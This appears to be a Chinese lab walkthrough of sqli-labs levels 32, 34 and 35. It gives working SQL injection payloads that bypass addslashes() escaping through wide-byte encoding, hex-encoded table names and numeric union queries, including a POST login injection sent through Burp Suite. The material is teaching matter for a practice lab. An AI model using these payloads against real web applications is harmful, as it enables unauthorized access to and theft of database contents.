网络安全——函数绕过注入

综合渗透测试-函数绕过注入

第一步,打开网络拓扑,启动实验虚拟机,分别查看虚拟机IP地址:

Kali Linux

Windows 7

第二步,使用Kali Linux访问sqli-lab第32关的页面:

http://172.16.1.200(靶机IP地址)/sqli-labs/Less-32/

第三步,对32关卡进行注入测试:

1. 查看源码(位于C:\AppServ\www\sqli-labs\Less-32\index.php):

源代码中,将输入的id进行了过滤,将危险字符加入了反斜杠进行转义。

addslashes() 会在单引号前加入一个“\”,例如:“I'm hacker” 传入 addslashes(),得到:“I\'m hacker”。

2. 输入id=1,测试页面返回值:

http://172.16.1.200/sqli-labs/Less-32/?id=1

返回了用户ID为1的用户名和密码。

3. 输入单引号测试:

?id=-1'

没有返回结果,但在页面下方可以看到id中的单引号被加入了一个反斜杠,对其进行转义,防止SQL注入。

4. 本题可以使用宽字节绕过:

一个双字节组成的字符,比如一个汉字“我”的 URL 编码为 %E6%88%91 ,当我们使用 ?id=-1%E6' 这样的构造时,单引号 “'” 前面加的反斜杠 “\” 就会和 “%E6” 合在一起,这不是一个正常的汉字,但是起到了注释掉反斜杠 “\” 的作用。

5. 使用宽字节编码绕过:

?id=-1%E6' union select 1,2,database() --+

成功读取当前的数据库名:security。

6. 尝试读取“users”表中的字段名:

?id=-1%E6' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

报出错误。经过检查,我们发现 'users' 这个部分使用了单引号,导致了错误的发生。

7. 使用十六进制编码就可以绕过单引号的限制,使用MySQL进行16进制转换。在Kali Linux中启动终端,输入:

service mysql restart

mysql -uroot

SELECT HEX('users');

得到16进制结果:7573657273,16进制之前必须加入“0x”才能被MySQL识别为字符串,所以最终的转换结果为:0x7573657273。

8. 将 'users' 替换为16进制:

?id=-1%E6' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+

注入成功。如需进一步注入,也只需要将带单引号的字符串转换为16进制进行注入即可。

第四步,访问第34关卡:

http://172.16.1.200/sqli-labs/Less-34

第五步,打开Kali Linux的终端,启动BurpSuite:

burpsuite &

第六步,进入Proxy标签,在Options中可以看到默认正在监听8080端口:

第七步,在浏览器设置中配置代理

第八步,对34关卡进行注入测试:

1. 34关卡新增了一个登录框,首先我们先输入用户名admin和密码admin测试,并使用Burp Suite抓包:

在数据包中,可以看到通过POST传输的用户名和密码,右键该数据包,发送至重放器(Send to Repeater)

2. 进入Repeater选项卡,点击“Send”按钮查看返回结果

3. 尝试篡改用户名部分,测试是否可以进行SQL注入:

uname=admin%E6' union select 1,database()--+&passwd=admin&submit=Submit

除了修改方法不同之外,我们还是沿用第32关卡的宽字节注入,对其进行数据库字段的获取。

注入成功。

第九步,切换至第35关卡:

http://172.16.1.200/sqli-labs/Less-35/

第十步,尝试对第35关卡进行注入测试:

1. 输入ID为1进行测试:

http://172.16.1.200/sqli-labs/Less-35/?id=1

2. 尝试使用单引号进行注入

报错,出现反斜杠,怀疑使用过滤函数将单引号转义。

3. 尝试使用宽字节进行注入:

?id=1%E6'

宽字节注入失败。

4. 尝试去掉单引号,直接执行SQL语句:

?id=-1 union select 1,2,database() --+

注入成功,本关卡使用数字型id,可以不使用单引号直接进行union联合查询注入。

猜你喜欢

转载自blog.csdn.net/qq_48609816/article/details/125954109